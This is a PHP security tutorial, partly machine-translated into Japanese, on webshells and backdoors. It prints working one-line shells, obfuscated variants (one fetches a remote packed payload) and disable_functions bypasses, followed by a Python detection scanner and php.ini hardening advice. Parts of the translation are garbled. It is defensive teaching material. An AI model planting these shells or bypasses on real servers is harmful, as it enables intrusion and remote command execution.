ホームページ >バックエンド開発 >PHPチュートリアル >PHPセキュリティWebシェルとバックドア検出例の詳細な説明

PHPセキュリティWebシェルとバックドア検出例の詳細な説明

高洛峰
高洛峰オリジナル
2017-03-19 13:18:174743ブラウズ

PHP ベースのアプリケーションはさまざまな攻撃に直面しています。

  • XSS: PHP Web アプリケーションの場合、クロスサイト スクリプティングが脆弱な点です。攻撃者はこれを使用してユーザー情報を盗むことができます。 XSS 攻撃を防ぐために、Apache を構成するか、より安全な PHP コード (すべてのユーザー入力を検証する) を作成できます。

  • SQL インジェクション: これは、PHP アプリケーションのデータベース層における攻撃の脆弱点です。予防方法は上記と同様です。一般的な方法は、mysql_real_escape_string() を使用してパラメータをエスケープし、SQL クエリを実行することです。

  • ファイルアップロード: 訪問者がサーバー上にファイルを配置 (つまり、アップロード) できるようにします。これにより、サーバーファイルやデータベースの削除、ユーザー情報の取得など、一連の問題が発生します。 PHP を使用してファイルのアップロードを無効にしたり、より安全なコードを記述したりできます (ユーザー入力を検証し、png や gif などの画像形式のアップロードのみを許可するなど)

  • ローカル ファイルとリモート ファイルを含む: 攻撃者リモート サーバーにファイルを開かせ、PHP コードを実行させ、ファイルをアップロードまたは削除してバックドアをインストールすることができます。リモートファイル実行設定を解除することで回避できます

  • eval/assert: この関数は、文字列をPHPコードのように実行させることができます。これは、攻撃者がサーバー上のコードやツールを隠すためによく使用されます。 PHP を構成し、eval およびその他の関数呼び出しをキャンセルすることで、

  • Sea-surt 攻撃 (クロスサイト リクエスト フォージェリ、CSRF。クロスサイト リクエスト フォージェリ) を実現します。この攻撃は、現在の環境下でエンド ユーザーに不特定の動作を実行させます。アカウント。これにより、エンドユーザーのデータと運用上のセキュリティが危険にさらされます。ターゲットのエンド ユーザーのアカウントが管理者権限で使用されている場合、Web アプリケーション全体が危険にさらされます。

太字で記載されている攻撃方法です

1. さまざまな Web シェル

ビジネス量の増加に伴い、攻撃やスキャンを行うハッカーが増えており、Web サイトのセキュリティがますます重要になっていることに注意してください。最も一般的な方法は、POST リクエスト を通じてトロイの木馬ファイルをアップロードすることであり、これが制御されている場合は、深刻な問題になります

。サーバーのセキュリティ

最も人気のあるバックドアは、一文のトロイの木馬と呼ばれ、その形式は次のとおりです:

<?php if(isset($_REQUEST[&#39;cmd&#39;])){
    $cmd = ($_REQUEST["cmd"]);
    system($cmd);
    echo "
$cmd
";
    die;
}
?>

この種類は、セキュリティ ソフトウェアによって簡単に検出されます。隠蔽性を高めるために、さまざまな機能を介して偽装された、さまざまな一文のトロイの木馬が出現しましたここで文句を言わなければなりませんが、PHP の弱い型はセキュリティにとって致命的です

a、str_replace 関数を使用してください

<?php  $a =str_replace(x,"","axsxxsxexrxxt");$a($_POST["code"]); ?>
//说明:请求参数  ?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg=="))
最终执行命令<?php  assert(fputs(fopen(&#39;c.php&#39;,w),"<?php @eval($_POST[a]);?>"))?>

。 b、str_rot13関数を使用

<?php  ($code = $_POST[&#39;code&#39;]) && @preg_replace(&#39;/ad/e&#39;,&#39;@&#39;.str_rot13(&#39;riny&#39;).&#39;($code)&#39;, &#39;add&#39;); ?>
//说明:首先,将eval函数用str_rot13('riny')隐藏。然后,利用 e 修饰符,在preg_replace完成字符串替换后,使得引擎将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。

c、include関数を使用

<?php  $filename=$_GET[&#39;code&#39;];include ($filename); ?>
//由于include方法可以直接编译任何格式的文件为php格式运行,因此可以上传一个txt格式的php文件,将真正的后门写在文本当中。

d、pack関数を使用

<?php  if(empty($_SESSION[&#39;api&#39;]))
    $_SESSION[&#39;api&#39;]=substr(file_get_contents(sprintf(&#39;%s?  %s&#39;,pack(“H*”,&#39;687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
    @preg_replace(“~(.*)~ies”,gzuncompress($_SESSION[&#39;api&#39;]),null);
?>

e、sessionを使用

<?php session_start();
$_POST[&#39;code&#39;] && $_SESSION[&#39;theCode&#39;] = trim($_POST[&#39;code&#39;]);
$_SESSION[&#39;theCode&#39;]&&preg_replace(&#39;\&#39;a\&#39;eis&#39;,&#39;e&#39;.&#39;v&#39;.&#39;a&#39;.&#39;l&#39;.&#39;(base64_decode($_SESSION[\&#39;theCode\&#39;]))&#39;,&#39;a&#39;);

f、HTMLページに隠す

nbsp;HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<title>404 Not Found</title>

<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>

<?php @preg_replace("/[pageerror]/e",$_POST[&#39;error&#39;],"saft");
header(&#39;HTTP/1.1 404 Not Found&#39;);
?>

g、assert関数を使用

<?php  assert($_POST[sb]);?>

または

<?php $item[&#39;wind&#39;] = &#39;assert&#39;;
$array[] = $item;
$array[0][&#39;wind&#39;]($_POST[&#39;iixosmse&#39;]);

h、copy 関数を使用してファイルをコピーします

<?php $reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);

2. コード難読化

<?php   
@$_++; // $_ = 1  
$=("#"^"|"); // $ = _  
$.=("."^"~"); // _P  
$.=("/"^"`"); // _PO  
$.=("|"^"/"); // _POS  
$.=("{"^"/"); // _POST  
${$}[!$_](${$}[$_]); // $_POST[0]($_POST[1]);  
?>

または

<?php   
    $penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";  
    $kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";  
    $ftdf = str_replace("w","","stwrw_wrwepwlwawcwe");  
    $wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";  
    $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo";  
    $smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe");  
    $jgfi = $ftdf("l","","lclrlelaltel_functlilon");  
    $rdwm = $jgfi(&#39;&#39;, $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();  
?>

は weevely ツールを使用して生成でき、コードはさまざまな主流のウイルス対策ソフトウェアを回避するために偽装されます

PHP バックドア生成ツール weevely

weevely は、PHP の Web シェル用のフリー ソフトウェアであり、Telnet に似た接続シェルをシミュレートするために使用できます。Weevely は通常、Web プログラムの脆弱性を悪用したり、バックドアを隠したり、Telnet を使用したりするために使用されます。 Web を置き換えるような方法 ページベースの管理では、weevely によって生成されたサーバー側の PHP コードは Base64 でエンコードされているため、サーバー側のコードをアップロードすると、通常は主流のウイルス対策ソフトウェアや IDS を騙すことができます。ウィーブリーを直接走ります。

weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。

更常用的混淆视听的方法:(这种是服务器层面的混淆)

  • 修改文件时间

  • 改名融入上传后所在文件夹,让人无法直观看出文件异常

  • 文件大小的伪装处理(至少看起大小像个正常脚本)

  • 选好藏身路径并尽量少的访问

  • 畸形目录%20

三、如果绕过配置文件

一般的服务器管理员会把 system、exec等危险函数禁用的,那么如何绕过呢?

1、使用反射

<?php $func = new ReflectionFunction("system");
echo $func->invokeArgs(array("$_GET[c]"));
?>

2、使用callback

php提供的另外一种可间接调用函数的方法是callback. 这里使用了ob_start.

<?php $cb= &#39;system&#39;;
ob_start($cb);
echo $_GET[c];
ob_end_flush();
?>

php中支持callback的函数还有很多,比如 array_map,array_filter, array_reduce,usort(),uksort(),array_walk() 等

四、安全人员应该怎么做

1、如何查找

直观寻找方式也有很多

  • 通过文件名/修改时间/大小,文件备份比对发现异常(SVN/Git对比,查看文件是否被修改)

  • 通过WEBSHELL后门扫描脚本发现,如Scanbackdoor.php/Pecker/shelldetect.php/(zhujiweishi )

  • 通过access.log访问日志分析

下面是360 zhujiweishi ,在linux服务器上非常简单好用

PHPセキュリティWebシェルとバックドア検出例の詳細な説明

通过常见的关键词如(可以使用find 和 grep 等命令结合起来搜索代码中是否包含以下文件)

  • 系统命令执行: system, passthru, shell_exec, exec, popen, proc_open

  • 代码执行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

  • 文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

通过简单的python脚本


#!/usr/bin/env python
# encoding: utf-8
 
import os,sys
import re
import hashlib
import time
 
rulelist = [
    &#39;(\$_(GET|POST|REQUEST)\[.{0,15}\]\s{0,10}\(\s{0,10}\$_(GET|POST|REQUEST)\[.{0,15}\]\))&#39;,
    &#39;((eval|assert)(\s|\n)*\((\s|\n)*\$_(POST|GET|REQUEST)\[.{0,15}\]\))&#39;,
    &#39;(eval(\s|\n)*\(base64_decode(\s|\n)*\((.|\n){1,200})&#39;,
    &#39;(function\_exists\s*\(\s*[\&#39;|\"](popen|exec|proc\_open|passthru)+[\&#39;|\"]\s*\))&#39;,
    &#39;((exec|shell\_exec|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\))&#39;,
    &#39;(\$(\w+)\s*\(\s.chr\(\d+\)\))&#39;,
    &#39;(\$(\w+)\s*\$\{(.*)\})&#39;,
    &#39;(\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\))&#39;,
    &#39;(\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\))&#39;,
    &#39;(\$\_\=(.*)\$\_)&#39;,
    &#39;(\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\))&#39;,
    &#39;(new com\s*\(\s*[\&#39;|\"]shell(.*)[\&#39;|\"]\s*\))&#39;,
    &#39;(echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\))&#39;,
    &#39;((fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\))&#39;,
    &#39;(\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\))&#39;,
    &#39;(\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\))&#39;,
    &#39;((include|require|include\_once|require\_once)+\s*\(\s*[\&#39;|\"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\&#39;|\"]\s*\))&#39;,
    &#39;(eval\s*\(\s*\(\s*\$\$(\w+))&#39;,
    &#39;((eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\))&#39;,
    &#39;(preg\_replace\s*\((.*)\(base64\_decode\(\$)&#39;
    ]
 
def scan(path):
    print(&#39;           可疑文件         &#39;)
    print(&#39;*&#39;*30)
    for root,dirs,files in os.walk(path):
        for filespath in files:
            if os.path.getsize(os.path.join(root,filespath))<1024000:
                file= open(os.path.join(root,filespath))
                filestr = file.read()
                file.close()
                for rule in rulelist:
                    result = re.compile(rule).findall(filestr)
                    if result:
                        print &#39;文件:&#39;+os.path.join(root,filespath )
                        print &#39;恶意代码:&#39;+str(result[0][0:200])
                        print (&#39;最后修改时间:&#39;+time.strftime(&#39;%Y-%m-%d %H:%M:%S&#39;,time.localtime(os.path.getmtime(os.path.join(root,filespath)))))
                        print &#39;\n\n&#39;
                        break
def md5sum(md5_file):
    m = hashlib.md5()
    fp = open(md5_file)
    m.update(fp.read())
    return m.hexdigest()
    fp.close()
 
if md5sum(&#39;/etc/issue&#39;) == &#39;3e3c7c4194b12af573ab11c16990c477&#39;:
    if md5sum(&#39;/usr/sbin/sshd&#39;) == &#39;abf7a90c36705ef679298a44af80b10b&#39;:
        pass
    else:
        print(&#39;*&#39;*40)
        print "\033[31m sshd被修改,疑似留有后门\033[m"
        print(&#39;*&#39;*40)
        time.sleep(5)
if md5sum(&#39;/etc/issue&#39;) == &#39;6c9222ee501323045d85545853ebea55&#39;:
    if md5sum(&#39;/usr/sbin/sshd&#39;) == &#39;4bbf2b12d6b7f234fa01b23dc9822838&#39;:
        pass
    else:
        print(&#39;*&#39;*40)
        print "\033[31m sshd被修改,疑似留有后门\033[m"
        print(&#39;*&#39;*40)
        time.sleep(5)
if name==&#39;main&#39;:
 
    if len(sys.argv)!=2:
        print &#39;参数错误&#39;
        print "\t按恶意代码查找:"+sys.argv[0]+&#39;目录名&#39;
    if os.path.lexists(sys.argv[1]) == False:
        print "目录不存在"
        exit()
    print (&#39;\n\n开始查找:&#39;+sys.argv[1])
    if len(sys.argv) ==2:
        scan(sys.argv[1])
    else:
        exit()

2、如何防范

php.ini 设置

  • disable_functions =phpinfo,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,get_current_user,leak,putenv,popen,opendir

  • 设置“safe_mode”为“on”

  • 禁止“open_basedir” 可以禁止指定目录之外的文件操作

  • expose_php设为off 这样php不会在http文件头中泄露信息

  • 设置“allow_url_fopen”为“off” 可禁止远程文件功能

  • log_errors”设为“on” 错误日志开启

php编码方面

  • 所有用户提交的信息  post get 或是其他形式提交的数据 都要单独写个过滤函数处理一遍,养成习惯(intval,strip_tags,mysql_real_escape_string)

  • 经常检查有没有一句话木马 eval($_POST[ 全站搜索php代码有没有这样的源代码

  • 文件要命名规范 至少让自己可以一目了然,哪些php文件名字有问题

  • 如用开源代码,有补丁出来的话,尽快打上补丁

  • 如果攻击者拿到了服务器的最高权限,有可能通过修改服务器的配置文件php.ini来达到他们隐藏后门的目的,前几年比较流行。原理如下:php.ini 里面的这两个配置项:auto_prepend_file ,auto_append_file 可以让php解析前,自己加点东西进去 Automatically add files before or after any PHP document,如果被配置了eval()函数的后门 那就很阴险了,php文件代码里面查不出,只会在php解析前包含eval()函数进来 并且因为是全局的 所以所有php页面都是后门!所以要先确认auto_prepend_file ,auto_append_file没被配置成其他东西,才进行第3点的源代码检查。

服务器配置

配置的时候尽量使用最小权限,不要写入或者执行的目录不能给相应的权限

nginx或者apache配置的时候,不能访问的目录一定要配置为deny

以上がPHPセキュリティWebシェルとバックドア検出例の詳細な説明の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。